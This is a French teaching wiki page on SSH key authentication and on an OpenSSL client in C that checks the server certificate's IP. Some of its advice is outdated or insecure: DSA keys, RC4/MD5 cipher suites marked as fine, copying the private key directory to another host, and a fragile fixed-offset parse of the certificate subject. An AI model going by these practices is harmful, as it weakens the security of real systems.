On suppose que l'on dispose d'une compte USERA sur HOSTA et USERB sur HOSTB. Vous pouvez utiliser la commande Unix adduser USERA pour ce faire. Si Kerberos est activé, utilisezpam-auth-update pour le désactiver au préalable.

Pour générer sur A une paire clef privée (.ssh/id_dsa) et clef publique (.ssh/id_dsa.pub) :

USERA@HOSTA$ ssh-keygen -t dsa
passphrase: xxx xxx xxx xxx

On choisira de protéger sa clef privée avec une passphrase.

On ajoute sa clef publique dans le fichier .ssh/authorized_keys de la machine HOSTB :

USERB$HOSTB: mkdir .ssh
USERA@HOSTA$ scp .ssh/id_*sa.pub USERB@HOSTB:.ssh/authorized_keys

ce qui peut se faire simplement en utilisant le script suivant :

USERA@HOSTA$ ssh-copy-id USERB@HOSTB

Nota Bene : cette copie avec scp (basée sur SSL comme SSH) demande le mot de passe Unix, car elle n'est encore sécurisée par nos clefs SSH.

On peut se connecter maintenant de manière complètement sécurisée avec SSH de A vers B.

USERA@HOSTA$ ssh USERB@HOSTB
passphrase: ...
USERB@HOSTB$ _

  

Ici, on saisit la passphrase pour que le client SSH puisse décoder la clef privée. Il n'y a donc plus d'authentification par mot de passe Unix.

Notons que la connexion SSH de B vers A ne fonctionne pas pour autant, car il faut effectuer les opérations symétriques. Cependant, il n'est pas nécessaire de générer une nouvelle paire de clefs SSH, on peut réutiliser celles disponibles sur la machine A.

USERA@HOSTA$ scp -r .ssh/ USERB@HOSTB:
Programmation avec OpenSSL

Nous allons mettre en place une connexion TCP/IP (socket C) sécurisée via OpenSSL entre syl (server) et immortal (client).

Vérifiez que le CN des certifcats de syl et immortal correspond bien aux adresses IP respectives de ces machines.

$ certtool --certificate-info --infile pem/syl-cert.pem 
$ certtool --certificate-info --infile pem/immortal-cert.pem 

On compile et on lance le serveur sur syl et le client sur immortal…

syl$ cat syl-cert.pem syl-key.pem > mycert.pem
syl$ ./ssl-server 8080
immortal$ ./ssl-client @immortal 8080

Un message “Hello???” est encrypté et envoyé du client au serveur qui répond par un autre message… Notez l'utilisation de SSL_write() et SSL_read().

Côté client, on peut forcer une cypher suite de la façon suivante :

  /* set specific ciphers */  
  const char * mycipher = "RSA+RC4+MD5"; // ok
  // const char * mycipher = "RC4-SHA"; // ok
  // const char * mycipher = "EDH-DSS-AES256-SHA:AES256-SHA:DES-CBC3-SHA:RC4-MD5"; // ok
  int ret = SSL_CTX_set_cipher_list(ctx, mycipher);
  if(ret==0)
    printf("Warning: cipher %s not supported!\n", mycipher);

Nous allons rajouté dans le code client un peu de code pour vérifier le certificat du serveur. On ne modifie pas le code serveur.

ssl-client.c
struct sockaddr_in addr; // cette variable devient globale
 
/* ... */
 
 
// fonction callback à ajouter
int verify_callback (int ok, X509_STORE_CTX *store)
{
  int depth = X509_STORE_CTX_get_error_depth(store);
  X509 *cert = X509_STORE_CTX_get_current_cert(store);
  int err = X509_STORE_CTX_get_error(store);
 
  if(depth > 0) return ok; // just check server certif IP (at depth 0), else preverify "ok" is enough...
 
  printf("+++++ check peer certificate +++++\n");
  printf(" * preverify ok = %d\n", ok); 
  printf(" * chain depth = %d\n", depth); 
  printf(" * error code %i (%s)\n", err, X509_verify_cert_error_string(err));
  char data[256];
  X509_NAME_oneline(X509_get_issuer_name(cert), data, 256);
  printf(" * issuer = %s\n", data);
  X509_NAME_oneline(X509_get_subject_name(cert), data, 256);
  printf(" * subject = %s\n", data);
  char * certifip = data+4;
  // printf(" * certificate IP = %s\n", certifip);
  char * serverip = inet_ntoa(addr.sin_addr);
  // printf(" * server IP = %s\n", serverip);       
 
  if (ok) {      
    if(strcmp(certifip,serverip) == 0) { 
      printf("SUCCESS: certificate IP (%s) matches server IP (%s)!\n", certifip, serverip);   
      return 1; // continue verification
    }
    else {
      printf("FAILURE: certificate IP (%s) does not match server IP (%s)!\n", certifip, serverip);   
      return 0; // stop verification
    }
  }
 
  return 0; // stop verification
}
 
 
int main(int count, char *strings[])
{  
  SSL_CTX *ctx;
  int server;
  SSL *ssl;
  char buf[1024];
  int bytes;
  char *hostname, *portnum;
 
  if(count != 3) {
      printf("usage: %s <hostname> <portnum>\n", strings[0]);
      exit(0);
  }
  SSL_library_init();
  hostname=strings[1];
  portnum=strings[2];
 
  ctx = InitCTX();
 
  // code à ajouter pour vérifier le certificat du serveur...
  SSL_CTX_load_verify_locations (ctx, "ca-cert.pem",0);        
  SSL_CTX_set_verify (ctx, SSL_VERIFY_PEER, verify_callback);  
 
  server = OpenConnection(hostname, atoi(portnum));
  ssl = SSL_new(ctx);      
 
  /* ... */
 
}
secres/index.txt · Last modified: 2017/10/27 14:00 by orel